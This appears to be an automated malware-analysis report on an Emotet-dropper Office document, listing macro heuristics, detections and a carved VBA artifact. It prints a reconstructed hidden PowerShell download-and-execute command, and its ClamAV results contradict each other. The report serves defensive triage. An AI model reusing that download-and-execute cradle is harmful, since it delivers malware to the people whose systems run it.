Malware Insights
The sample is a malicious Office document containing VBA macros. A critical heuristic identified an obfuscated PowerShell stager within a UserForm, and another critical heuristic flagged it as ClamAV: Doc.Dropper.Emotet-9761056-0. The Document_Open macro initiates the execution of a PowerShell command that appears to download and execute a second-stage payload from a benign-looking URL, which is likely a lure. The reconstructed PowerShell command is: powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://schemas.openxmlformats.org/drawingml/2006/main'). This indicates a dropper functionality consistent with Emotet.
Heuristics 8
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Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELLOLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
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ClamAV: Doc.Dropper.Emotet-9761056-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Emotet-9761056-0
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.basb4e7e6a496a33a5d51b25c403e1165bdc88602f70d8eedc62b6d635ba4d9d28a |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 22614 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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